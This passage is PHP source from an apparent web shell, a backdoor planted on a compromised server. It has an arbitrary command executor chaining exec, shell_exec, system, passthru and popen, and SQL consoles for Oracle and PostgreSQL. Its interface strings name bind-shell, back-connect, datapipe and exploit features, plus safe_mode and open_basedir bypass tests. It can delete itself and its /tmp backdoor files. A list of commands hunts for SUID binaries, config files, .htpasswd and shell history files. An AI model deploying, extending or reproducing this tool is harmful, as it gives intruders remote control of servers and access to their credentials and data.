\"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>\";\n break;\n case 'Oracle':\n $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);\n if(($error = @ocierror())) { echo \"<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>\".$error['message'].\"</b></font></div>\"; }\n else\n {\n $querys = @explode(';',$_POST['db_query']);\n foreach($querys as $num=>$query)\n {\n if(strlen($query)>5) {\n echo \"<font face=Verdana size=-2 color=green><b>Query#\".$num.\" : \".htmlspecialchars($query).\"</b></font><br>\";\n $stat = @ociparse($db, $query);\n @ociexecute($stat);\n if(($error = @ocierror())) { echo \"<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>\".$error['message'].\"</b></font></td></tr></table><br>\"; }\n else\n {\n $rowcount = @ocirowcount($stat);\n if($rowcount != 0) {echo \"<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>\".$rowcount.\"</b></font></td></tr></table><br>\";}\n else {\n echo \"<table width=100%><tr>\";\n for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo \"<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;\".htmlspecialchars(@ocicolumnname($stat, $j)).\"&nbsp;</b></font></td>\"; }\n echo \"</tr>\";\n while(ocifetch($stat))\n {\n echo \"<tr>\";\n for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo \"<td><font face=Verdana size=-2>&nbsp;\".htmlspecialchars(@ociresult($stat, $j)).\"&nbsp;</font></td>\"; }\n echo \"</tr>\";\n }\n echo \"</table><br>\";\n }\n @ocifreestatement($stat);\n }\n }\n }\n @ocilogoff($db);\n }\n break;\n }\n echo \"<form name=form method=POST>\";\n echo in('hidden','db',0,$_POST['db']);\n echo in('hidden','db_port',0,$_POST['db_port']);\n echo in('hidden','mysql_l',0,$_POST['mysql_l']);\n echo in('hidden','mysql_p',0,$_POST['mysql_p']);\n echo in('hidden','mysql_db',0,$_POST['mysql_db']);\n echo in('hidden','cmd',0,'db_query');\n echo \"<div align=center><textarea cols=65 rows=10 name=db_query>\".(!empty($_POST['db_query'])?($_POST['db_query']):(\"SHOW DATABASES;\\nSELECT * FROM user;\")).\"</textarea><br><input type=submit name=submit value=\\\" Run SQL query \\\"></div><br><br>\";\n echo \"</form>\";\n echo \"<br><div align=center><font face=Verdana size=-2><b>[ <a href=\".$_SERVER['PHP_SELF'].\">BACK</a> ]</b></font></div>\"; die();\n }\nif(isset($_GET['delete']))\n {\n @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],\"/\"),1));\n }\nif(isset($_GET['tmp']))\n {\n @unlink(\"/tmp/bdpl\");\n @unlink(\"/tmp/back\");\n @unlink(\"/tmp/bd\");\n @unlink(\"/tmp/bd.c\");\n @unlink(\"/tmp/dp\");\n @unlink(\"/tmp/dpc\");\n @unlink(\"/tmp/dpc.c\");\n }\nif(isset($_GET['phpini']))\n{\necho $head;\nfunction U_value($value)\n {\n if ($value == '') return '<i>no value</i>';\n if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';\n if ($value === null) return 'NULL';\n if (@is_object($value)) $value = (array) $value;\n if (@is_array($value))\n {\n @ob_start();\n print_r($value);\n $value = @ob_get_contents();\n @ob_end_clean();\n }\n return U_wordwrap((string) $value);\n }\nfunction U_wordwrap($str)\n {\n $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);\n return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);\n }\nif (@function_exists('ini_get_all'))\n {\n $r = '';\n echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';\n foreach (@ini_get_all() as $key=>$value)\n {\n $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';\n }\n echo $r;\n echo '</table>';\n }\necho \"<br><div align=center><font face=Verdana size=-2><b>[ <a href=\".$_SERVER['PHP_SELF'].\">BACK</a> ]</b></font></div>\";\ndie();\n}\nif(isset($_GET['cpu']))\n {\n echo $head;\n echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';\n $cpuf = @file(\"cpuinfo\");\n if($cpuf)\n {\n $c = @sizeof($cpuf);\n for($i=0;$i<$c;$i++)\n {\n $info = @explode(\":\",$cpuf[$i]);\n if($info[1]==\"\"){ $info[1]=\"---\"; }\n $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';\n }\n echo $r;\n }\n else\n {\n echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';\n }\n echo '</table>';\n echo \"<br><div align=center><font face=Verdana size=-2><b>[ <a href=\".$_SERVER['PHP_SELF'].\">BACK</a> ]</b></font></div>\";\n die();\n }\nif(isset($_GET['mem']))\n {\n echo $head;\n echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';\n $memf = @file(\"meminfo\");\n if($memf)\n {\n $c = sizeof($memf);\n for($i=0;$i<$c;$i++)\n {\n $info = explode(\":\",$memf[$i]);\n if($info[1]==\"\"){ $info[1]=\"---\"; }\n $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';\n }\n echo $r;\n }\n else\n {\n echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';\n }\n echo '</table>';\n echo \"<br><div align=center><font face=Verdana size=-2><b>[ <a href=\".$_SERVER['PHP_SELF'].\">BACK</a> ]</b></font></div>\";\n die();\n }\n/*\n????? ?????\n$language='eng' - ???????\n$language='ru' - ??????????\n*/\n$language='eng';\n$lang=array(\n'ru_text1' =>'??????????? ???????',\n'ru_text2' =>'?????????? ?????? ?? ???????',\n'ru_text3' =>'????????? ???????',\n'ru_text4' =>'??????? ??????????',\n'ru_text5' =>'???????? ?????? ?? ??????',\n'ru_text6' =>'????????? ????',\n'ru_text7' =>'??????',\n'ru_text8' =>'???????? ?????',\n'ru_butt1' =>'?????????',\n'ru_butt2' =>'?????????',\n'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',\n'ru_text10'=>'??????? ????',\n'ru_text11'=>'?????? ??? ???????',\n'ru_butt3' =>'???????',\n'ru_text12'=>'back-connect',\n'ru_text13'=>'IP-?????',\n'ru_text14'=>'????',\n'ru_butt4' =>'?????????',\n'ru_text15'=>'???????? ?????? ? ?????????? ???????',\n'ru_text16'=>'????????????',\n'ru_text17'=>'????????? ????',\n'ru_text18'=>'????????? ????',\n'ru_text19'=>'Exploits',\n'ru_text20'=>'????????????',\n'ru_text21'=>'????? ???',\n'ru_text22'=>'datapipe',\n'ru_text23'=>'????????? ????',\n'ru_text24'=>'????????? ????',\n'ru_text25'=>'????????? ????',\n'ru_text26'=>'????????????',\n'ru_butt5' =>'?????????',\n'ru_text28'=>'?????? ? safe_mode',\n'ru_text29'=>'?????? ????????',\n'ru_butt6' =>'???????',\n'ru_text30'=>'???????? ?????',\n'ru_butt7' =>'???????',\n'ru_text31'=>'???? ?? ??????',\n'ru_text32'=>'?????????? PHP ????',\n'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',\n'ru_butt8' =>'?????????',\n'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',\n'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',\n'ru_text36'=>'????',\n'ru_text37'=>'?????',\n'ru_text38'=>'??????',\n'ru_text39'=>'???????',\n'ru_text40'=>'???? ??????? ???? ??????',\n'ru_butt9' =>'????',\n'ru_text41'=>'????????? ? ?????',\n'ru_text42'=>'?????????????? ?????',\n'ru_text43'=>'????????????? ????',\n'ru_butt10'=>'?????????',\n'ru_butt11'=>'?????????????',\n'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',\n'ru_text45'=>'???? ????????',\n'ru_text46'=>'???????? phpinfo()',\n'ru_text47'=>'???????? ???????? php.ini',\n'ru_text48'=>'???????? ????????? ??????',\n'ru_text49'=>'???????? ??????? ? ???????',\n'ru_text50'=>'?????????? ? ??????????',\n'ru_text51'=>'?????????? ? ??????',\n'ru_text52'=>'????? ??? ??????',\n'ru_text53'=>'?????? ? ?????',\n'ru_text54'=>'????? ?????? ? ??????',\n'ru_butt12'=>'?????',\n'ru_text55'=>'?????? ? ??????',\n'ru_text56'=>'?????? ?? ???????',\n'ru_text57'=>'???????/??????? ????/??????????',\n'ru_text58'=>'???',\n'ru_text59'=>'????',\n'ru_text60'=>'??????????',\n'ru_butt13'=>'???????/???????',\n'ru_text61'=>'???? ??????',\n'ru_text62'=>'?????????? ???????',\n'ru_text63'=>'???? ??????',\n'ru_text64'=>'?????????? ???????',\n'ru_text65'=>'???????',\n'ru_text66'=>'???????',\n'ru_text67'=>'Chown/Chgrp/Chmod',\n'ru_text68'=>'???????',\n'ru_text69'=>'????????1',\n'ru_text70'=>'????????2',\n'ru_text71'=>\"?????? ???????? ???????:\\r\\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \\r\\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \\r\\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)\",\n'ru_text72'=>'????? ??? ??????',\n'ru_text73'=>'?????? ? ?????',\n'ru_text74'=>'?????? ? ??????',\n'ru_text75'=>'* ????? ???????????? ?????????? ?????????',\n'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',\n'ru_text77'=>'???????? ????????? ???? ??????',\n'ru_text78'=>'?????????? ???????',\n'ru_text79'=>'?????????? ???????',\n'ru_text80'=>'???',\n'ru_text81'=>'????',\n'ru_text82'=>'???? ??????',\n'ru_text83'=>'?????????? SQL ???????',\n'ru_text84'=>'SQL ??????',\n'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',\n/* --------------------------------------------------------------- */\n'eng_text1' =>'Executed command',\n'eng_text2' =>'Execute command on server',\n'eng_text3' =>'Run command',\n'eng_text4' =>'Work directory',\n'eng_text5' =>'Upload files on server',\n'eng_text6' =>'Local file',\n'eng_text7' =>'Aliases',\n'eng_text8' =>'Select alias',\n'eng_butt1' =>'Execute',\n'eng_butt2' =>'Upload',\n'eng_text9' =>'Bind port to /bin/bash',\n'eng_text10'=>'Port',\n'eng_text11'=>'Password for access',\n'eng_butt3' =>'Bind',\n'eng_text12'=>'back-connect',\n'eng_text13'=>'IP',\n'eng_text14'=>'Port',\n'eng_butt4' =>'Connect',\n'eng_text15'=>'Upload files from remote server',\n'eng_text16'=>'With',\n'eng_text17'=>'Remote file',\n'eng_text18'=>'Local file',\n'eng_text19'=>'Exploits',\n'eng_text20'=>'Use',\n'eng_text21'=>'&nbsp;New name',\n'eng_text22'=>'datapipe',\n'eng_text23'=>'Local port',\n'eng_text24'=>'Remote host',\n'eng_text25'=>'Remote port',\n'eng_text26'=>'Use',\n'eng_butt5' =>'Run',\n'eng_text28'=>'Work in safe_mode',\n'eng_text29'=>'ACCESS DENIED',\n'eng_butt6' =>'Change',\n'eng_text30'=>'Cat file',\n'eng_butt7' =>'Show',\n'eng_text31'=>'File not found',\n'eng_text32'=>'Eval PHP code',\n'eng_text33'=>'Test bypass open_basedir with cURL functions',\n'eng_butt8' =>'Test',\n'eng_text34'=>'Test bypass safe_mode with include function',\n'eng_text35'=>'Test bypass safe_mode with load file in mysql',\n'eng_text36'=>'Database',\n'eng_text37'=>'Login',\n'eng_text38'=>'Password',\n'eng_text39'=>'Table',\n'eng_text40'=>'Dump database table',\n'eng_butt9' =>'Dump',\n'eng_text41'=>'Save dump in file',\n'eng_text42'=>'Edit files',\n'eng_text43'=>'File for edit',\n'eng_butt10'=>'Save',\n'eng_text44'=>'Can\\'t edit file! Only read access!',\n'eng_text45'=>'File saved',\n'eng_text46'=>'Show phpinfo()',\n'eng_text47'=>'Show variables from php.ini',\n'eng_text48'=>'Delete temp files',\n'eng_butt11'=>'Edit file',\n'eng_text49'=>'Delete script from server',\n'eng_text50'=>'View cpu info',\n'eng_text51'=>'View memory info',\n'eng_text52'=>'Find text',\n'eng_text53'=>'In dirs',\n'eng_text54'=>'Find text in files',\n'eng_butt12'=>'Find',\n'eng_text55'=>'Only in files',\n'eng_text56'=>'Nothing :(',\n'eng_text57'=>'Create/Delete File/Dir',\n'eng_text58'=>'name',\n'eng_text59'=>'file',\n'eng_text60'=>'dir',\n'eng_butt13'=>'Create/Delete',\n'eng_text61'=>'File created',\n'eng_text62'=>'Dir created',\n'eng_text63'=>'File deleted',\n'eng_text64'=>'Dir deleted',\n'eng_text65'=>'Create',\n'eng_text66'=>'Delete',\n'eng_text67'=>'Chown/Chgrp/Chmod',\n'eng_text68'=>'Command',\n'eng_text69'=>'param1',\n'eng_text70'=>'param2',\n'eng_text71'=>\"Second commands param is:\\r\\n- for CHOWN - name of new owner or UID\\r\\n- for CHGRP - group name or GID\\r\\n- for CHMOD - 0777, 0755...\",\n'eng_text72'=>'Text for find',\n'eng_text73'=>'Find in folder',\n'eng_text74'=>'Find in files',\n'eng_text75'=>'* you can use regexp',\n'eng_text76'=>'Search text in files via find',\n'eng_text77'=>'Show database structure',\n'eng_text78'=>'show tables',\n'eng_text79'=>'show columns',\n'eng_text80'=>'Type',\n'eng_text81'=>'Net',\n'eng_text82'=>'Databases',\n'eng_text83'=>'Run SQL query',\n'eng_text84'=>'SQL query',\n);\n/*\n?????? ??????\n????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )\n?? ?????? ???? ????????? ??? ???????? ???????.\n*/\n$aliases=array(\n'find suid files'=>'find / -type f -perm -04000 -ls',\n'find suid files in current dir'=>'find . -type f -perm -04000 -ls',\n'find sgid files'=>'find / -type f -perm -02000 -ls',\n'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',\n'find config.inc.php files'=>'find / -type f -name config.inc.php',\n'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',\n'find config* files'=>'find / -type f -name \"config*\"',\n'find config* files in current dir'=>'find . -type f -name \"config*\"',\n'find all writable files'=>'find / -type f -perm -2 -ls',\n'find all writable files in current dir'=>'find . -type f -perm -2 -ls',\n'find all writable directories'=>'find / -type d -perm -2 -ls',\n'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',\n'find all writable directories and files'=>'find / -perm -2 -ls',\n'find all writable directories and files in current dir'=>'find . -perm -2 -ls',\n'find all service.pwd files'=>'find / -type f -name service.pwd',\n'find service.pwd files in current dir'=>'find . -type f -name service.pwd',\n'find all .htpasswd files'=>'find / -type f -name .htpasswd',\n'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',\n'find all .bash_history files'=>'find / -type f -name .bash_history',\n'find .bash_history files in current dir'=>'find . -type f -name .bash_history',\n'find all .mysql_history files'=>'find / -type f -name .mysql_history',\n'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',\n'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',\n'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',\n'list file attributes on a Linux second extended file system'=>'lsattr -va',\n'show opened ports'=>'netstat -an | grep -i listen',\n'----------------------------------------------------------------------------------------------------'=>'ls -la'\n);\n$table_up1 = \"<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: \";\n$table_up2 = \" ::</div></b></font></td></tr><tr><td>\";\n$table_up3 = \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>\";\n$table_end1 = \"</td></tr>\";\n$arrow = \" <font face=Wingdings color=gray>?</font>\";\n$lb = \"<font color=black>[</font>\";\n$rb = \"<font color=black>]</font>\";\n$font = \"<font face=Verdana size=-2>\";\n$ts = \"<table class=table1 width=100% align=center>\";\n$te = \"</table>\";\n$fs = \"<form name=form method=POST>\";\n$fe = \"</form>\";\n\nif (!empty($_POST['dir'])) { @chdir($_POST['dir']); }\n$dir = @getcwd();\n$windows = 0;\n$unix = 0;\nif(strlen($dir)>1 && $dir[1]==\":\") $windows=1; else $unix=1;\nif(empty($dir))\n {\n $os = getenv('OS');\n if(empty($os)){ $os = php_uname(); }\n if(empty($os)){ $os =\"-\"; $unix=1; }\n else\n {\n if(@eregi(\"^win\",$os)) { $windows = 1; }\n else { $unix = 1; }\n }\n }\nif(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == \"search_text\")\n {\n echo $head;\n if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }\n else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }\n $sr->SearchText(0,0);\n $res = $sr->GetResultFiles();\n $found = $sr->GetMatchesCount();\n $titles = $sr->GetTitles();\n $r = \"\";\n if($found > 0)\n {\n $r .= \"<TABLE width=100%>\";\n foreach($res as $file=>$v)\n {\n $r .= \"<TR>\";\n $r .= \"<TD colspan=2><font face=Verdana size=-2><b>\".ws(3);\n $r .= ($windows)? str_replace(\"/\",\"\\\\\",$file) : $file;\n $r .= \"</b></font></ TD>\";\n $r .= \"</TR>\";\n foreach($v as $a=>$b)\n {\n $r .= \"<TR>\";\n $r .= \"<TD align=center><B><font face=Verdana size=-2>\".$a.\"</font></B></TD>\";\n $r .= \"<TD><font face=Verdana size=-2>\".ws(2).$b.\"</font></TD>\";\n $r .= \"</TR>\\n\";\n }\n }\n $r .= \"</TABLE>\";\n echo $r;\n }\n else\n {\n echo \"<P align=center><B><font face=Verdana size=-2>\".$lang[$language.'_text56'].\"</B></font></P>\";\n }\n echo \"<br><div align=center><font face=Verdana size=-2><b>[ <a href=\".$_SERVER['PHP_SELF'].\">BACK</a> ]</b></font></div>\";\n die();\n }\nif($windows&&!$safe_mode)\n {\n $uname = ex(\"ver\");\n if(empty($uname)) { $safe_mode = 1; }\n }\nelse if($unix&&!$safe_mode)\n {\n $uname = ex(\"uname\");\n if(empty($uname)) { $safe_mode = 1; }\n }\n$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');\nif(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = \"-\"; }\nfunction ws($i)\n{\nreturn @str_repeat(\"&nbsp;\",$i);\n}\nfunction ex($cfe)\n{\n $res = '';\n if (!empty($cfe))\n {\n if(function_exists('exec'))\n {\n @exec($cfe,$res);\n $res = join(\"\\n\",$res);\n }\n elseif(function_exists('shell_exec'))\n {\n $res = @shell_exec($cfe);\n }\n elseif(function_exists('system'))\n {\n @ob_start();\n @system($cfe);\n $res = @ob_get_contents();\n @ob_end_clean();\n }\n elseif(function_exists('passthru'))\n {\n @ob_start();\n @passthru($cfe);\n $res = @ob_get_contents();\n @ob_end_clean();\n }\n elseif(@is_resource($f = @popen($cfe,\"r\")))\n {\n $res = \"\";\n while(!@feof($f)) { $res .= @fread($f,1024); }\n @pclose($f);\n }\n }\n return $res;\n}\nfunction we($i)\n{\nif($GLOBALS['language']==\"ru\"){ $text = '??????! ?? ???? ???????? ? ???? '; }\nelse { $text = \"[-] ERROR! Can't write in file \"; }\necho \"<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>\".$text.$i.\"</b></div></font></td></tr></table>\";\nreturn null;\n}\nfunction re($i)\n{\nif($GLOBALS['language']==\"ru\"){ $text = '??????! ?? ???? ????????? ???? '; }\nelse { $text = \"[-] ERROR! Can't read file \"; }\necho \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>\".$text.$i.\"</b></div></font></td></tr></table>\";\nreturn null;\n}\nfunction ce($i)\n{\nif($GLOBALS['language']==\"ru\"){ $text = \"?? ??????? ??????? \"; }\nelse { $text = \"Can't create \"; }\necho \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>\".$text.$i.\"</b></div></font></td></tr></table>\";\nreturn null;\n}\nfunction perms($mode)\n{\nif ($GLOBALS['windows']) return 0;\nif( $mode & 0x1000 ) { $type='p'; }\nelse if( $mode & 0x2000 ) { $type='c'; }\nelse if( $mode & 0x4000 ) { $type='d'; }\nelse if( $mode & 0x6000 ) { $type='b'; }\nelse if( $mode & 0x8000 ) { $type='-'; }\nelse if( $mode & 0xA000 ) { $type='l'; }\nelse if( $mode & 0xC000 ) { $type='s'; }\nelse $type='u';\n$owner[\"read\"] = ($mode & 00400) ? 'r' : '-';\n$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';\n$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';\n$group[\"read\"] = ($mode & 00040) ? 'r' : '-';\n$group[\"write\"] = ($mode & 00020) ? 'w' : '-';\n$group[\"execute\"] = ($mode & 00010) ? 'x' : '-';\n$world[\"read\"] = ($mode & 00004) ? 'r' : '-';\n$world[\"write\"] = ($mode & 00002) ? 'w' : '-';\n$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';\nif( $mode & 0x800 ) $owner[\"execute\"] = ($owner['execute']=='x') ? 's' : 'S';\nif( $mode & 0x400 ) $group[\"execute\"] = ($group['execute']=='x') ? 's' : 'S';\nif( $mode & 0x200 ) $world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T';\n$s=sprintf(\"%1s\", $type);\n$s.=sprintf(\"%1s%1s%1s\", $owner['read'], $owner['write'], $owner['execute']);\n$s.=sprintf(\"%1s%1s%1s\", $group['read'], $group['write'], $group['execute']);\n$s.=sprintf(\"%1s%1s%1s\", $world['read'], $world['write'], $world['execute']);\nreturn trim($s);\n}\nfunction in($type,$name,$size,$value)\n{\n $ret = \"<input type=\".$type.\" name=\".$name.\" \";\n if($size != 0) { $ret .= \"size=\".$size.\" \"; }\n $ret .= \"value=\\\"\".$value.\"\\\">\";\n return $ret;\n}\nfunction which($pr)\n{\n$path = ex(\"which $pr\");\nif(!empty($path)) { return $path; } else { return $pr; }\n}\nfunction cf($fname,$text)\n{\n $w_file=@fopen($fname,\"w\") or we($fname);\n if($w_file)\n {\n @fputs($w_file,@base64_decode($text));\n @fclose($w_file);\n }\n}\nfunction sr($l,$t1,$t2)\n {\n return \"<tr class=tr1><td class=td1 width=\".$l.\"% align=right>\".$t1.\"</td><td class=td1 align=left>\".$t2.\"</td></tr>\";\n }\nif (!@function_exists(\"view_size\"))\n{\nfunction view_size($size)\n{\n if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . \" GB\";}\n elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . \" MB\";}\n elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . \" KB\";}\n else {$size = $size . \" B\";}\n return $size;\n}\n}\nfunction DirFiles($dir,$types='')\n {\n $files = Array();\n if(($handle = @opendir($dir)))\n {\n while (FALSE !== ($file = @readdir($handle)))\n {\n if ($file != \".\" && $file != \"..\")\n {\n if(!is_dir($dir.\"/\".$file))\n {\n if($types)\n {\n $pos = @strrpos($file,\".\");\n $ext = @substr($file,$pos,@strlen($file)-$pos);\n if(@in_array($ext,@explode(';',$types)))\n $files[] = $dir.\"/\".$file;\n }\n else\n $files[] = $dir.\"/\".$file;\n }\n }\n }\n @closedir($handle);\n }\n return $files;\n }\n function DirFilesWide($dir)\n {\n $files = Array();\n $dirs = Array();\n if(($handle = @opendir($dir)))\n {\n while (false !== ($file = @readdir($handle)))\n {\n if ($file != \".\" && $file != \"..\")\n {\n if(@is_dir($dir.\"/\".$file))\n {\n $file = @strtoupper($file);\n $dirs[$file] = '&lt;DIR&gt;';\n }\n else\n $files[$file] = @filesize($dir.\"/\".$file);\n }\n }\n @closedir($handle);\n @ksort($dirs);\n @ksort($files);\n $files = @array_merge($dirs,$files);\n }\n return $files;\n }\n function DirFilesR($dir,$types='')\n {\n $files = Array();\n if(($handle = @opendir($dir)))\n {\n while (false !== ($file = @readdir($handle)))\n {\n if ($file != \".\" && $file != \"..\")\n {\n if(@is_dir($dir.\"/\".$file))\n $files = @array_merge($files,DirFilesR($dir.\"/\".$file,$types));\n else\n {\n $pos = @strrpos($file,\".\");\n $ext = @substr($file,$pos,@strlen($file)-$pos);\n if($types)\n {\n if(@in_array($ext,explode(';',$types)))\n $files[] = $dir.\"/\".$file;\n }\n else\n $files[] = $dir.\"/\".$file;\n }\n }\n }\n @closedir($handle);\n }\n return $files;\n }\n function DirPrintHTMLHeaders($dir)\n {\n $pockets = '';\n \t$handle = @opendir($dir) or die(\"Can't open directory $dir\");\n echo \" <ul style='margin-left: 0px; padding-left: 20px;'>\\n\";\n while (false !== ($file = @readdir($handle)))\n {\n if ($file != \".\" && $file != \"..\")\n {\n if(@is_dir($dir.\"/\".$file))\n {\n echo \" <li><b>[ $file ]</b></li>\\n\";\n DirPrintHTMLHeaders($dir.\"/\".$file);\n }\n else\n {\n $pos = @strrpos($file,\".\");\n $ext = @substr($file,$pos,@strlen($file)-$pos);\n if(@in_array($ext,array('.htm','.html')))\n {\n $header = '-=None=-';\n $strings = @file($dir.\"/\".$file) or die(\"Can't open file \".$dir.\"/\".$file);\n for($a=0;$a<count($strings);$a++)\n {\n $pattern = '(<title>(.+)</title>)';\n if(@eregi($pattern,$strings[$a],$pockets))\n {\n $header = \"&laquo;\".$pockets[2].\"&raquo;\";\n break;\n }\n }\n echo \" <li>\".$header.\"</li>\\n\";\n }\n }\n }\n }\n echo \" </ul>\\n\";\n @closedir($handle);\n }\n\n class SearchResult\n {\n var $text;\n var $FilesToSearch;\n var $ResultFiles;\n var $FilesTotal;\n var $MatchesCount;\n var $FileMatschesCount;\n var $TimeStart;\n var $TimeTotal;\n var $titles;\n function SearchResult($dir,$text,$filter='')\n {\n $dirs = @explode(\";\",$dir);\n $this->FilesToSearch = Array();\n for($a=0;$a<count($dirs);$a++)\n $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));\n $this->text = $text;\n $this->FilesTotal = @count($this->FilesToSearch);\n $this->TimeStart = getmicrotime();\n $this->MatchesCount = 0;\n $this->ResultFiles = Array();\n $this->FileMatchesCount = Array();\n $this->titles = Array();\n }\n function GetFilesTotal() { return $this->FilesTotal; }\n function GetTitles() { return $this->titles; }\n function GetTimeTotal() { return $this->TimeTotal; }\n function GetMatchesCount() { return $this->MatchesCount; }\n function GetFileMatchesCount() { return $this->FileMatchesCount; }\n function GetResultFiles() { return $this->ResultFiles; }\n function SearchText($phrase=0,$case=0) {\n $qq = @explode(' ',$this->text);\n $delim = '|';\n if($phrase)\n foreach($qq as $k=>$v)\n $qq[$k] = '\\b'.$v.'\\b';\n $words = '('.@implode($delim,$qq).')';\n $pattern = \"/\".$words.\"/\";\n if(!$case)\n $pattern .= 'i';\n foreach($this->FilesToSearch as $k=>$filename)\n {\n $this->FileMatchesCount[$filename] = 0;\n $FileStrings = @file($filename) or @next;\n for($a=0;$a<@count($FileStrings);$a++)\n {\n $count = 0;\n $CurString = $FileStrings[$a];\n $CurString = @Trim($CurString);\n $CurString = @strip_tags($CurString);\n $aa = '';\n if(($count = @preg_match_all($pattern,$CurString,$aa)))\n {\n $CurString = @preg_replace($pattern,\"<SPAN style='color: #990000;'><b>\\\\1</b></SPAN>\",$CurString);\n $this->ResultFiles[$filename][$a+1] = $CurString;\n $this->MatchesCount += $count;\n $this->FileMatchesCount[$filename] += $count;\n }\n }\n }\n $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);\n }\n }\n function getmicrotime()\n {\n list($usec,$sec) = @explode(\" \",@microtime());\n return ((float)$usec + (float)$sec);\n 